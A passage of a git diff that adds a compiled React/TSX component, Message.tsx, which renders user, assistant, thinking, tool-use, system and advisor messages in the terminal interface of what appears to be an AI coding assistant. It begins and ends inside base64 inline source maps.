NELFlBQVksSUFBSSxDQUFDLFFBQVEsQ0FBQyxDQUFDQSxZQUFZLENBQUMsRUFBRSxRQUFRLENBQUM7QUFDMUQsTUFBTSxDQUFDQyxjQUFjLElBQUksQ0FBQyxRQUFRLENBQUMsQ0FBQ0EsY0FBYyxDQUFDLEVBQUUsUUFBUSxDQUFDO0FBQzlELElBQUksRUFBRSxHQUFHLENBQUM7QUFFViIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/cc-haha/src/components/Message.tsx b/cc-haha/src/components/Message.tsx
new file mode 100644
index 0000000..ca2ef76
--- /dev/null
+++ b/cc-haha/src/components/Message.tsx
@@ -0,0 +1,627 @@
+import { c as _c } from "react/compiler-runtime";
+import { feature } from 'bun:bundle';
+import type { BetaContentBlock } from '@anthropic-ai/sdk/resources/beta/messages/messages.mjs';
+import type { ImageBlockParam, TextBlockParam, ThinkingBlockParam, ToolResultBlockParam, ToolUseBlockParam } from '@anthropic-ai/sdk/resources/index.mjs';
+import * as React from 'react';
+import type { Command } from '../commands.js';
+import { useTerminalSize } from '../hooks/useTerminalSize.js';
+import { Box } from '../ink.js';
+import type { Tools } from '../Tool.js';
+import { type ConnectorTextBlock, isConnectorTextBlock } from '../types/connectorText.js';
+import type { AssistantMessage, AttachmentMessage as AttachmentMessageType, CollapsedReadSearchGroup as CollapsedReadSearchGroupType, GroupedToolUseMessage as GroupedToolUseMessageType, NormalizedUserMessage, ProgressMessage, SystemMessage } from '../types/message.js';
+import { type AdvisorBlock, isAdvisorBlock } from '../utils/advisor.js';
+import { isFullscreenEnvEnabled } from '../utils/fullscreen.js';
+import { logError } from '../utils/log.js';
+import type { buildMessageLookups } from '../utils/messages.js';
+import { CompactSummary } from './CompactSummary.js';
+import { AdvisorMessage } from './messages/AdvisorMessage.js';
+import { AssistantRedactedThinkingMessage } from './messages/AssistantRedactedThinkingMessage.js';
+import { AssistantTextMessage } from './messages/AssistantTextMessage.js';
+import { AssistantThinkingMessage } from './messages/AssistantThinkingMessage.js';
+import { AssistantToolUseMessage } from './messages/AssistantToolUseMessage.js';
+import { AttachmentMessage } from './messages/AttachmentMessage.js';
+import { CollapsedReadSearchContent } from './messages/CollapsedReadSearchContent.js';
+import { CompactBoundaryMessage } from './messages/CompactBoundaryMessage.js';
+import { GroupedToolUseContent } from './messages/GroupedToolUseContent.js';
+import { SystemTextMessage } from './messages/SystemTextMessage.js';
+import { UserImageMessage } from './messages/UserImageMessage.js';
+import { UserTextMessage } from './messages/UserTextMessage.js';
+import { UserToolResultMessage } from './messages/UserToolResultMessage/UserToolResultMessage.js';
+import { OffscreenFreeze } from './OffscreenFreeze.js';
+import { ExpandShellOutputProvider } from './shell/ExpandShellOutputContext.js';
+export type Props = {
+  message: NormalizedUserMessage | AssistantMessage | AttachmentMessageType | SystemMessage | GroupedToolUseMessageType | CollapsedReadSearchGroupType;
+  lookups: ReturnType<typeof buildMessageLookups>;
+  // TODO: Find a way to remove this, and leave spacing to the consumer
+  /** Absolute width for the container Box. When provided, eliminates a wrapper Box in the caller. */
+  containerWidth?: number;
+  addMargin: boolean;
+  tools: Tools;
+  commands: Command[];
+  verbose: boolean;
+  inProgressToolUseIDs: Set<string>;
+  progressMessagesForMessage: ProgressMessage[];
+  shouldAnimate: boolean;
+  shouldShowDot: boolean;
+  style?: 'condensed';
+  width?: number | string;
+  isTranscriptMode: boolean;
+  isStatic: boolean;
+  onOpenRateLimitOptions?: () => void;
+  isActiveCollapsedGroup?: boolean;
+  isUserContinuation?: boolean;
+  /** ID of the last thinking block (uuid:index) to show, used for hiding past thinking in transcript mode */
+  lastThinkingBlockId?: string | null;
+  /** UUID of the latest user bash output message (for auto-expanding) */
+  latestBashOutputUUID?: string | null;
+};
+function MessageImpl(t0) {
+  const $ = _c(94);
+  const {
+    message,
+    lookups,
+    containerWidth,
+    addMargin,
+    tools,
+    commands,
+    verbose,
+    inProgressToolUseIDs,
+    progressMessagesForMessage,
+    shouldAnimate,
+    shouldShowDot,
+    style,
+    width,
+    isTranscriptMode,
+    onOpenRateLimitOptions,
+    isActiveCollapsedGroup,
+    isUserContinuation: t1,
+    lastThinkingBlockId,
+    latestBashOutputUUID
+  } = t0;
+  const isUserContinuation = t1 === undefined ? false : t1;
+  switch (message.type) {
+    case "attachment":
+      {
+        let t2;
+        if ($[0] !== addMargin || $[1] !== isTranscriptMode || $[2] !== message.attachment || $[3] !== verbose) {
+          t2 = <AttachmentMessage addMargin={addMargin} attachment={message.attachment} verbose={verbose} isTranscriptMode={isTranscriptMode} />;
+          $[0] = addMargin;
+          $[1] = isTranscriptMode;
+          $[2] = message.attachment;
+          $[3] = verbose;
+          $[4] = t2;
+        } else {
+          t2 = $[4];
+        }
+        return t2;
+      }
+    case "assistant":
+      {
+        const t2 = containerWidth ?? "100%";
+        let t3;
+        if ($[5] !== addMargin || $[6] !== commands || $[7] !== inProgressToolUseIDs || $[8] !== isTranscriptMode || $[9] !== lastThinkingBlockId || $[10] !== lookups || $[11] !== message.advisorModel || $[12] !== message.message.content || $[13] !== message.uuid || $[14] !== onOpenRateLimitOptions || $[15] !== progressMessagesForMessage || $[16] !== shouldAnimate || $[17] !== shouldShowDot || $[18] !== tools || $[19] !== verbose || $[20] !== width) {
+          let t4;
+          if ($[22] !== addMargin || $[23] !== commands || $[24] !== inProgressToolUseIDs || $[25] !== isTranscriptMode || $[26] !== lastThinkingBlockId || $[27] !== lookups || $[28] !== message.advisorModel || $[29] !== message.uuid || $[30] !== onOpenRateLimitOptions || $[31] !== progressMessagesForMessage || $[32] !== shouldAnimate || $[33] !== shouldShowDot || $[34] !== tools || $[35] !== verbose || $[36] !== width) {
+            t4 = (_, index_0) => <AssistantMessageBlock key={index_0} param={_} addMargin={addMargin} tools={tools} commands={commands} verbose={verbose} inProgressToolUseIDs={inProgressToolUseIDs} progressMessagesForMessage={progressMessagesForMessage} shouldAnimate={shouldAnimate} shouldShowDot={shouldShowDot} width={width} inProgressToolCallCount={inProgressToolUseIDs.size} isTranscriptMode={isTranscriptMode} lookups={lookups} onOpenRateLimitOptions={onOpenRateLimitOptions} thinkingBlockId={`${message.uuid}:${index_0}`} lastThinkingBlockId={lastThinkingBlockId} advisorModel={message.advisorModel} />;
+            $[22] = addMargin;
+            $[23] = commands;
+            $[24] = inProgressToolUseIDs;
+            $[25] = isTranscriptMode;
+            $[26] = lastThinkingBlockId;
+            $[27] = lookups;
+            $[28] = message.advisorModel;
+            $[29] = message.uuid;
+            $[30] = onOpenRateLimitOptions;
+            $[31] = progressMessagesForMessage;
+            $[32] = shouldAnimate;
+            $[33] = shouldShowDot;
+            $[34] = tools;
+            $[35] = verbose;
+            $[36] = width;
+            $[37] = t4;
+          } else {
+            t4 = $[37];
+          }
+          t3 = message.message.content.map(t4);
+          $[5] = addMargin;
+          $[6] = commands;
+          $[7] = inProgressToolUseIDs;
+          $[8] = isTranscriptMode;
+          $[9] = lastThinkingBlockId;
+          $[10] = lookups;
+          $[11] = message.advisorModel;
+          $[12] = message.message.content;
+          $[13] = message.uuid;
+          $[14] = onOpenRateLimitOptions;
+          $[15] = progressMessagesForMessage;
+          $[16] = shouldAnimate;
+          $[17] = shouldShowDot;
+          $[18] = tools;
+          $[19] = verbose;
+          $[20] = width;
+          $[21] = t3;
+        } else {
+          t3 = $[21];
+        }
+        let t4;
+        if ($[38] !== t2 || $[39] !== t3) {
+          t4 = <Box flexDirection="column" width={t2}>{t3}</Box>;
+          $[38] = t2;
+          $[39] = t3;
+          $[40] = t4;
+        } else {
+          t4 = $[40];
+        }
+        return t4;
+      }
+    case "user":
+      {
+        if (message.isCompactSummary) {
+          const t2 = isTranscriptMode ? "transcript" : "prompt";
+          let t3;
+          if ($[41] !== message || $[42] !== t2) {
+            t3 = <CompactSummary message={message} screen={t2} />;
+            $[41] = message;
+            $[42] = t2;
+            $[43] = t3;
+          } else {
+            t3 = $[43];
+          }
+          return t3;
+        }
+        let imageIndices;
+        if ($[44] !== message.imagePasteIds || $[45] !== message.message.content) {
+          imageIndices = [];
+          let imagePosition = 0;
+          for (const param of message.message.content) {
+            if (param.type === "image") {
+              const id = message.imagePasteIds?.[imagePosition];
+              imagePosition++;
+              imageIndices.push(id ?? imagePosition);
+            } else {
+              imageIndices.push(imagePosition);
+            }
+          }
+          $[44] = message.imagePasteIds;
+          $[45] = message.message.content;
+          $[46] = imageIndices;
+        } else {
+          imageIndices = $[46];
+        }
+        const isLatestBashOutput = latestBashOutputUUID === message.uuid;
+        const t2 = containerWidth ?? "100%";
+        let t3;
+        if ($[47] !== addMargin || $[48] !== imageIndices || $[49] !== isTranscriptMode || $[50] !== isUserContinuation || $[51] !== lookups || $[52] !== message || $[53] !== progressMessagesForMessage || $[54] !== style || $[55] !== tools || $[56] !== verbose) {
+          t3 = message.message.content.map((param_0, index) => <UserMessage key={index} message={message} addMargin={addMargin} tools={tools} progressMessagesForMessage={progressMessagesForMessage} param={param_0} style={style} verbose={verbose} imageIndex={imageIndices[index]} isUserContinuation={isUserContinuation} lookups={lookups} isTranscriptMode={isTranscriptMode} />);
+          $[47] = addMargin;
+          $[48] = imageIndices;
+          $[49] = isTranscriptMode;
+          $[50] = isUserContinuation;
+          $[51] = lookups;
+          $[52] = message;
+          $[53] = progressMessagesForMessage;
+          $[54] = style;
+          $[55] = tools;
+          $[56] = verbose;
+          $[57] = t3;
+        } else {
+          t3 = $[57];
+        }
+        let t4;
+        if ($[58] !== t2 || $[59] !== t3) {
+          t4 = <Box flexDirection="column" width={t2}>{t3}</Box>;
+          $[58] = t2;
+          $[59] = t3;
+          $[60] = t4;
+        } else {
+          t4 = $[60];
+        }
+        const content = t4;
+        let t5;
+        if ($[61] !== content || $[62] !== isLatestBashOutput) {
+          t5 = isLatestBashOutput ? <ExpandShellOutputProvider>{content}</ExpandShellOutputProvider> : content;
+          $[61] = content;
+          $[62] = isLatestBashOutput;
+          $[63] = t5;
+        } else {
+          t5 = $[63];
+        }
+        return t5;
+      }
+    case "system":
+      {
+        if (message.subtype === "compact_boundary") {
+          if (isFullscreenEnvEnabled()) {
+            return null;
+          }
+          let t2;
+          if ($[64] === Symbol.for("react.memo_cache_sentinel")) {
+            t2 = <CompactBoundaryMessage />;
+            $[64] = t2;
+          } else {
+            t2 = $[64];
+          }
+          return t2;
+        }
+        if (message.subtype === "microcompact_boundary") {
+          return null;
+        }
+        if (feature("HISTORY_SNIP")) {
+          const {
+            isSnipBoundaryMessage
+          } = require("../services/compact/snipProjection.js") as typeof import('../services/compact/snipProjection.js');
+          const {
+            isSnipMarkerMessage
+          } = require("../services/compact/snipCompact.js") as typeof import('../services/compact/snipCompact.js');
+          if (isSnipBoundaryMessage(message)) {
+            let t2;
+            if ($[65] === Symbol.for("react.memo_cache_sentinel")) {
+              t2 = require("./messages/SnipBoundaryMessage.js");
+              $[65] = t2;
+            } else {
+              t2 = $[65];
+            }
+            const {
+              SnipBoundaryMessage
+            } = t2 as typeof import('./messages/SnipBoundaryMessage.js');
+            let t3;
+            if ($[66] !== message) {
+              t3 = <SnipBoundaryMessage message={message} />;
+              $[66] = message;
+              $[67] = t3;
+            } else {
+              t3 = $[67];
+            }
+            return t3;
+          }
+          if (isSnipMarkerMessage(message)) {
+            return null;
+          }
+        }
+        if (message.subtype === "local_command") {
+          let t2;
+          if ($[68] !== message.content) {
+            t2 = {
+              type: "text",
+              text: message.content
+            };
+            $[68] = message.content;
+            $[69] = t2;
+          } else {
+            t2 = $[69];
+          }
+          let t3;
+          if ($[70] !== addMargin || $[71] !== isTranscriptMode || $[72] !== t2 || $[73] !== verbose) {
+            t3 = <UserTextMessage addMargin={addMargin} param={t2} verbose={verbose} isTranscriptMode={isTranscriptMode} />;
+            $[70] = addMargin;
+            $[71] = isTranscriptMode;
+            $[72] = t2;
+            $[73] = verbose;
+            $[74] = t3;
+          } else {
+            t3 = $[74];
+          }
+          return t3;
+        }
+        let t2;
+        if ($[75] !== addMargin || $[76] !== isTranscriptMode || $[77] !== message || $[78] !== verbose) {
+          t2 = <SystemTextMessage message={message} addMargin={addMargin} verbose={verbose} isTranscriptMode={isTranscriptMode} />;
+          $[75] = addMargin;
+          $[76] = isTranscriptMode;
+          $[77] = message;
+          $[78] = verbose;
+          $[79] = t2;
+        } else {
+          t2 = $[79];
+        }
+        return t2;
+      }
+    case "grouped_tool_use":
+      {
+        let t2;
+        if ($[80] !== inProgressToolUseIDs || $[81] !== lookups || $[82] !== message || $[83] !== shouldAnimate || $[84] !== tools) {
+          t2 = <GroupedToolUseContent message={message} tools={tools} lookups={lookups} inProgressToolUseIDs={inProgressToolUseIDs} shouldAnimate={shouldAnimate} />;
+          $[80] = inProgressToolUseIDs;
+          $[81] = lookups;
+          $[82] = message;
+          $[83] = shouldAnimate;
+          $[84] = tools;
+          $[85] = t2;
+        } else {
+          t2 = $[85];
+        }
+        return t2;
+      }
+    case "collapsed_read_search":
+      {
+        const t2 = verbose || isTranscriptMode;
+        let t3;
+        if ($[86] !== inProgressToolUseIDs || $[87] !== isActiveCollapsedGroup || $[88] !== lookups || $[89] !== message || $[90] !== shouldAnimate || $[91] !== t2 || $[92] !== tools) {
+          t3 = <OffscreenFreeze><CollapsedReadSearchContent message={message} inProgressToolUseIDs={inProgressToolUseIDs} shouldAnimate={shouldAnimate} verbose={t2} tools={tools} lookups={lookups} isActiveGroup={isActiveCollapsedGroup} /></OffscreenFreeze>;
+          $[86] = inProgressToolUseIDs;
+          $[87] = isActiveCollapsedGroup;
+          $[88] = lookups;
+          $[89] = message;
+          $[90] = shouldAnimate;
+          $[91] = t2;
+          $[92] = tools;
+          $[93] = t3;
+        } else {
+          t3 = $[93];
+        }
+        return t3;
+      }
+  }
+}
+function UserMessage(t0) {
+  const $ = _c(20);
+  const {
+    message,
+    addMargin,
+    tools,
+    progressMessagesForMessage,
+    param,
+    style,
+    verbose,
+    imageIndex,
+    isUserContinuation,
+    lookups,
+    isTranscriptMode
+  } = t0;
+  const {
+    columns
+  } = useTerminalSize();
+  switch (param.type) {
+    case "text":
+      {
+        let t1;
+        if ($[0] !== addMargin || $[1] !== isTranscriptMode || $[2] !== message.planContent || $[3] !== message.timestamp || $[4] !== param || $[5] !== verbose) {
+          t1 = <UserTextMessage addMargin={addMargin} param={param} verbose={verbose} planContent={message.planContent} isTranscriptMode={isTranscriptMode} timestamp={message.timestamp} />;
+          $[0] = addMargin;
+          $[1] = isTranscriptMode;
+          $[2] = message.planContent;
+          $[3] = message.timestamp;
+          $[4] = param;
+          $[5] = verbose;
+          $[6] = t1;
+        } else {
+          t1 = $[6];
+        }
+        return t1;
+      }
+    case "image":
+      {
+        const t1 = addMargin && !isUserContinuation;
+        let t2;
+        if ($[7] !== imageIndex || $[8] !== t1) {
+          t2 = <UserImageMessage imageId={imageIndex} addMargin={t1} />;
+          $[7] = imageIndex;
+          $[8] = t1;
+          $[9] = t2;
+        } else {
+          t2 = $[9];
+        }
+        return t2;
+      }
+    case "tool_result":
+      {
+        const t1 = columns - 5;
+        let t2;
+        if ($[10] !== isTranscriptMode || $[11] !== lookups || $[12] !== message || $[13] !== param || $[14] !== progressMessagesForMessage || $[15] !== style || $[16] !== t1 || $[17] !== tools || $[18] !== verbose) {
+          t2 = <UserToolResultMessage param={param} message={message} lookups={lookups} progressMessagesForMessage={progressMessagesForMessage} style={style} tools={tools} verbose={verbose} width={t1} isTranscriptMode={isTranscriptMode} />;
+          $[10] = isTranscriptMode;
+          $[11] = lookups;
+          $[12] = message;
+          $[13] = param;
+          $[14] = progressMessagesForMessage;
+          $[15] = style;
+          $[16] = t1;
+          $[17] = tools;
+          $[18] = verbose;
+          $[19] = t2;
+        } else {
+          t2 = $[19];
+        }
+        return t2;
+      }
+    default:
+      {
+        return;
+      }
+  }
+}
+function AssistantMessageBlock(t0) {
+  const $ = _c(45);
+  const {
+    param,
+    addMargin,
+    tools,
+    commands,
+    verbose,
+    inProgressToolUseIDs,
+    progressMessagesForMessage,
+    shouldAnimate,
+    shouldShowDot,
+    width,
+    inProgressToolCallCount,
+    isTranscriptMode,
+    lookups,
+    onOpenRateLimitOptions,
+    thinkingBlockId,
+    lastThinkingBlockId,
+    advisorModel
+  } = t0;
+  if (feature("CONNECTOR_TEXT")) {
+    if (isConnectorTextBlock(param)) {
+      let t1;
+      if ($[0] !== param.connector_text) {
+        t1 = {
+          type: "text",
+          text: param.connector_text
+        };
+        $[0] = param.connector_text;
+        $[1] = t1;
+      } else {
+        t1 = $[1];
+      }
+      let t2;
+      if ($[2] !== addMargin || $[3] !== onOpenRateLimitOptions || $[4] !== shouldShowDot || $[5] !== t1 || $[6] !== verbose || $[7] !== width) {
+        t2 = <AssistantTextMessage param={t1} addMargin={addMargin} shouldShowDot={shouldShowDot} verbose={verbose} width={width} onOpenRateLimitOptions={onOpenRateLimitOptions} />;
+        $[2] = addMargin;
+        $[3] = onOpenRateLimitOptions;
+        $[4] = shouldShowDot;
+        $[5] = t1;
+        $[6] = verbose;
+        $[7] = width;
+        $[8] = t2;
+      } else {
+        t2 = $[8];
+      }
+      return t2;
+    }
+  }
+  switch (param.type) {
+    case "tool_use":
+      {
+        let t1;
+        if ($[9] !== addMargin || $[10] !== commands || $[11] !== inProgressToolCallCount || $[12] !== inProgressToolUseIDs || $[13] !== isTranscriptMode || $[14] !== lookups || $[15] !== param || $[16] !== progressMessagesForMessage || $[17] !== shouldAnimate || $[18] !== shouldShowDot || $[19] !== tools || $[20] !== verbose) {
+          t1 = <AssistantToolUseMessage param={param} addMargin={addMargin} tools={tools} commands={commands} verbose={verbose} inProgressToolUseIDs={inProgressToolUseIDs} progressMessagesForMessage={progressMessagesForMessage} shouldAnimate={shouldAnimate} shouldShowDot={shouldShowDot} inProgressToolCallCount={inProgressToolCallCount} lookups={lookups} isTranscriptMode={isTranscriptMode} />;
+          $[9] = addMargin;
+          $[10] = commands;
+          $[11] = inProgressToolCallCount;
+          $[12] = inProgressToolUseIDs;
+          $[13] = isTranscriptMode;
+          $[14] = lookups;
+          $[15] = param;
+          $[16] = progressMessagesForMessage;
+          $[17] = shouldAnimate;
+          $[18] = shouldShowDot;
+          $[19] = tools;
+          $[20] = verbose;
+          $[21] = t1;
+        } else {
+          t1 = $[21];
+        }
+        return t1;
+      }
+    case "text":
+      {
+        let t1;
+        if ($[22] !== addMargin || $[23] !== onOpenRateLimitOptions || $[24] !== param || $[25] !== shouldShowDot || $[26] !== verbose || $[27] !== width) {
+          t1 = <AssistantTextMessage param={param} addMargin={addMargin} shouldShowDot={shouldShowDot} verbose={verbose} width={width} onOpenRateLimitOptions={onOpenRateLimitOptions} />;
+          $[22] = addMargin;
+          $[23] = onOpenRateLimitOptions;
+          $[24] = param;
+          $[25] = shouldShowDot;
+          $[26] = verbose;
+          $[27] = width;
+          $[28] = t1;
+        } else {
+          t1 = $[28];
+        }
+        return t1;
+      }
+    case "redacted_thinking":
+      {
+        if (!isTranscriptMode && !verbose) {
+          return null;
+        }
+        let t1;
+        if ($[29] !== addMargin) {
+          t1 = <AssistantRedactedThinkingMessage addMargin={addMargin} />;
+          $[29] = addMargin;
+          $[30] = t1;
+        } else {
+          t1 = $[30];
+        }
+        return t1;
+      }
+    case "thinking":
+      {
+        if (!isTranscriptMode && !verbose) {
+          return null;
+        }
+        const isLastThinking = !lastThinkingBlockId || thinkingBlockId === lastThinkingBlockId;
+        const t1 = isTranscriptMode && !isLastThinking;
+        let t2;
+        if ($[31] !== addMargin || $[32] !== isTranscriptMode || $[33] !== param || $[34] !== t1 || $[35] !== verbose) {
+          t2 = <AssistantThinkingMessage addMargin={addMargin} param={param} isTranscriptMode={isTranscriptMode} verbose={verbose} hideInTranscript={t1} />;
+          $[31] = addMargin;
+          $[32] = isTranscriptMode;
+          $[33] = param;
+          $[34] = t1;
+          $[35] = verbose;
+          $[36] = t2;
+        } else {
+          t2 = $[36];
+        }
+        return t2;
+      }
+    case "server_tool_use":
+    case "advisor_tool_result":
+      {
+        if (isAdvisorBlock(param)) {
+          const t1 = verbose || isTranscriptMode;
+          let t2;
+          if ($[37] !== addMargin || $[38] !== advisorModel || $[39] !== lookups.erroredToolUseIDs || $[40] !== lookups.resolvedToolUseIDs || $[41] !== param || $[42] !== shouldAnimate || $[43] !== t1) {
+            t2 = <AdvisorMessage block={param} addMargin={addMargin} resolvedToolUseIDs={lookups.resolvedToolUseIDs} erroredToolUseIDs={lookups.erroredToolUseIDs} shouldAnimate={shouldAnimate} verbose={t1} advisorModel={advisorModel} />;
+            $[37] = addMargin;
+            $[38] = advisorModel;
+            $[39] = lookups.erroredToolUseIDs;
+            $[40] = lookups.resolvedToolUseIDs;
+            $[41] = param;
+            $[42] = shouldAnimate;
+            $[43] = t1;
+            $[44] = t2;
+          } else {
+            t2 = $[44];
+          }
+          return t2;
+        }
+        logError(new Error(`Unable to render server tool block: ${param.type}`));
+        return null;
+      }
+    default:
+      {
+        logError(new Error(`Unable to render message type: ${param.type}`));
+        return null;
+      }
+  }
+}
+export function hasThinkingContent(m: {
+  type: string;
+  message?: {
+    content: Array<{
+      type: string;
+    }>;
+  };
+}): boolean {
+  if (m.type !== 'assistant' || !m.message) return false;
+  return m.message.content.some(b => b.type === 'thinking' || b.type === 'redacted_thinking');
+}
+
+/** Exported for testing */
+export function areMessagePropsEqual(prev: Props, next: Props): boolean {
+  if (prev.message.uuid !== next.message.uuid) return false;
+  // Only re-render on lastThinkingBlockId change if this message actually
+  // has thinking content — otherwise every message in scrollback re-renders
+  // whenever streaming thinking starts/stops (CC-941).
+  if (prev.lastThinkingBlockId !== next.lastThinkingBlockId && hasThinkingContent(next.message)) {
+    return false;
+  }
+  // Verbose toggle changes thinking block visibility/expansion
+  if (prev.verbose !== next.verbose) return false;
+  // Only re-render if this message's "is latest bash output" status changed,
+  // not when the global latestBashOutputUUID changes to a different message
+  const prevIsLatest = prev.latestBashOutputUUID === prev.message.uuid;
+  const nextIsLatest = next.latestBashOutputUUID === next.message.uuid;
+  if (prevIsLatest !== nextIsLatest) return false;
+  if (prev.isTranscriptMode !== next.isTranscriptMode) return false;
+  // containerWidth is an absolute number in the no-metadata path (wrapper
+  // Box is skipped). Static messages must re-render on terminal resize.
+  if (prev.containerWidth !== next.containerWidth) return false;
+  if (prev.isStatic && next.isStatic) return true;
+  return false;
+}
+export const Message = React.memo(MessageImpl, areMessagePropsEqual);
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmZWF0dXJlIiwiQmV0YUNvbnRlbnRCbG9jayIsIkltYWdlQmxvY2tQYXJhbSIsIlRleHRCbG9ja1BhcmFtIiwiVGhpbmtpbmdCbG9ja1BhcmFtIiwiVG9vbFJlc3VsdEJsb2NrUGFyYW0iLCJUb29sVXNlQmxvY2tQYXJhbSIsIlJlYWN0IiwiQ29tbWFuZCIsInVzZVRlcm1pbmFsU2l6ZSIsIkJveCIsIlRvb2xzIiwiQ29ubmVjdG9yVGV4dEJsb2NrIiwiaXNDb25uZWN0b3JUZXh0QmxvY2siLCJBc3Npc3RhbnRNZXNzYWdlIiwiQXR0YWNobWVudE1lc3NhZ2UiLCJBdHRhY2htZW50TWVzc2FnZVR5cGUiLCJDb2xsYXBzZWRSZWFkU2VhcmNoR3JvdXAiLCJDb2xsYXBzZWRSZWFkU2VhcmNoR3JvdXBUeXBlIiwiR3JvdXBlZFRvb2xVc2VNZXNzYWdlIiwiR3JvdXBlZFRvb2xVc2VNZXNzYWdlVHlwZSIsIk5vcm1hbGl6ZWRVc2VyTWVzc2FnZSIsIlByb2dyZXNzTWVzc2FnZSIsIlN5c3RlbU1lc3NhZ2UiLCJBZHZpc29yQmxvY2siLCJpc0Fkdmlzb3JCbG9jayIsImlzRnVsbHNjcmVlbkVudkVuYWJsZWQiLCJsb2dFcnJvciIsImJ1aWxkTWVzc2FnZUxvb2t1cHMiLCJDb21wYWN0U3VtbWFyeSIsIkFkdmlzb3JNZXNzYWdlIiwiQXNzaXN0YW50UmVkYWN0ZWRUaGlua2luZ01lc3NhZ2UiLCJBc3Npc3RhbnRUZXh0TWVzc2FnZSIsIkFzc2lzdGFudFRoaW5raW5nTWVzc2FnZSIsIkFzc2lzdGFudFRvb2xVc2VNZXNzYWdlIiwiQ29sbGFwc2VkUmVhZFNlYXJjaENvbnRlbnQiLCJDb21wYWN0Qm91bmRhcnlNZXNzYWdlIiwiR3JvdXBlZFRvb2xVc2VDb250ZW50IiwiU3lzdGVtVGV4dE1lc3NhZ2UiLCJVc2VySW1hZ2VNZXNzYWdlIiwiVXNlclRleHRNZXNzYWdlIiwiVXNlclRvb2xSZXN1bHRNZXNzYWdlIiwiT2Zmc2NyZWVuRnJlZXplIiwiRXhwYW5kU2hlbGxPdXRwdXRQcm92aWRlciIsIlByb3BzIiwibWVzc2FnZSIsImxvb2t1cHMiLCJSZXR1cm5UeXBlIiwiY29udGFpbmVyV2lkdGgiLCJhZGRNYXJnaW4iLCJ0b29scyIsImNvbW1hbmRzIiwidmVyYm9zZSIsImluUHJvZ3Jlc3NUb29sVXNlSURzIiwiU2V0IiwicHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UiLCJzaG91bGRBbmltYXRlIiwic2hvdWxkU2hvd0RvdCIsInN0eWxlIiwid2lkdGgiLCJpc1RyYW5zY3JpcHRNb2RlIiwiaXNTdGF0aWMiLCJvbk9wZW5SYXRlTGltaXRPcHRpb25zIiwiaXNBY3RpdmVDb2xsYXBzZWRHcm91cCIsImlzVXNlckNvbnRpbnVhdGlvbiIsImxhc3RUaGlua2luZ0Jsb2NrSWQiLCJsYXRlc3RCYXNoT3V0cHV0VVVJRCIsIk1lc3NhZ2VJbXBsIiwidDAiLCIkIiwiX2MiLCJ0MSIsInVuZGVmaW5lZCIsInR5cGUiLCJ0MiIsImF0dGFjaG1lbnQiLCJ0MyIsImFkdmlzb3JNb2RlbCIsImNvbnRlbnQiLCJ1dWlkIiwidDQiLCJfIiwiaW5kZXhfMCIsImluZGV4Iiwic2l6ZSIsIm1hcCIsImlzQ29tcGFjdFN1bW1hcnkiLCJpbWFnZUluZGljZXMiLCJpbWFnZVBhc3RlSWRzIiwiaW1hZ2VQb3NpdGlvbiIsInBhcmFtIiwiaWQiLCJwdXNoIiwiaXNMYXRlc3RCYXNoT3V0cHV0IiwicGFyYW1fMCIsInQ1Iiwic3VidHlwZSIsIlN5bWJvbCIsImZvciIsImlzU25pcEJvdW5kYXJ5TWVzc2FnZSIsInJlcXVpcmUiLCJpc1NuaXBNYXJrZXJNZXNzYWdlIiwiU25pcEJvdW5kYXJ5TWVzc2FnZSIsInRleHQiLCJVc2VyTWVzc2FnZSIsImltYWdlSW5kZXgiLCJjb2x1bW5zIiwicGxhbkNvbnRlbnQiLCJ0aW1lc3RhbXAiLCJBc3Npc3RhbnRNZXNzYWdlQmxvY2siLCJpblByb2dyZXNzVG9vbENhbGxDb3VudCIsInRoaW5raW5nQmxvY2tJZCIsImNvbm5lY3Rvcl90ZXh0IiwiaXNMYXN0VGhpbmtpbmciLCJlcnJvcmVkVG9vbFVzZUlEcyIsInJlc29sdmVkVG9vbFVzZUlEcyIsIkVycm9yIiwiaGFzVGhpbmtpbmdDb250ZW50IiwibSIsIkFycmF5Iiwic29tZSIsImIiLCJhcmVNZXNzYWdlUHJvcHNFcXVhbCIsInByZXYiLCJuZXh0IiwicHJldklzTGF0ZXN0IiwibmV4dElzTGF0ZXN0IiwiTWVzc2FnZSIsIm1lbW8iXSwic291cmNlcyI6WyJNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgeyBmZWF0dXJlIH0gZnJvbSAnYnVuOmJ1bmRsZSdcbmltcG9ydCB0eXBlIHsgQmV0YUNvbnRlbnRCbG9jayB9IGZyb20gJ0BhbnRocm9waWMtYWkvc2RrL3Jlc291cmNlcy9iZXRhL21lc3NhZ2VzL21lc3NhZ2VzLm1qcydcbmltcG9ydCB0eXBlIHtcbiAgSW1hZ2VCbG9ja1BhcmFtLFxuICBUZXh0QmxvY2tQYXJhbSxcbiAgVGhpbmtpbmdCbG9ja1BhcmFtLFxuICBUb29sUmVzdWx0QmxvY2tQYXJhbSxcbiAgVG9vbFVzZUJsb2NrUGFyYW0sXG59IGZyb20gJ0BhbnRocm9waWMtYWkvc2RrL3Jlc291cmNlcy9pbmRleC5tanMnXG5pbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB0eXBlIHsgQ29tbWFuZCB9IGZyb20gJy4uL2NvbW1hbmRzLmpzJ1xuaW1wb3J0IHsgdXNlVGVybWluYWxTaXplIH0gZnJvbSAnLi4vaG9va3MvdXNlVGVybWluYWxTaXplLmpzJ1xuaW1wb3J0IHsgQm94IH0gZnJvbSAnLi4vaW5rLmpzJ1xuaW1wb3J0IHR5cGUgeyBUb29scyB9IGZyb20gJy4uL1Rvb2wuanMnXG5pbXBvcnQge1xuICB0eXBlIENvbm5lY3RvclRleHRCbG9jayxcbiAgaXNDb25uZWN0b3JUZXh0QmxvY2ssXG59IGZyb20gJy4uL3R5cGVzL2Nvbm5lY3RvclRleHQuanMnXG5pbXBvcnQgdHlwZSB7XG4gIEFzc2lzdGFudE1lc3NhZ2UsXG4gIEF0dGFjaG1lbnRNZXNzYWdlIGFzIEF0dGFjaG1lbnRNZXNzYWdlVHlwZSxcbiAgQ29sbGFwc2VkUmVhZFNlYXJjaEdyb3VwIGFzIENvbGxhcHNlZFJlYWRTZWFyY2hHcm91cFR5cGUsXG4gIEdyb3VwZWRUb29sVXNlTWVzc2FnZSBhcyBHcm91cGVkVG9vbFVzZU1lc3NhZ2VUeXBlLFxuI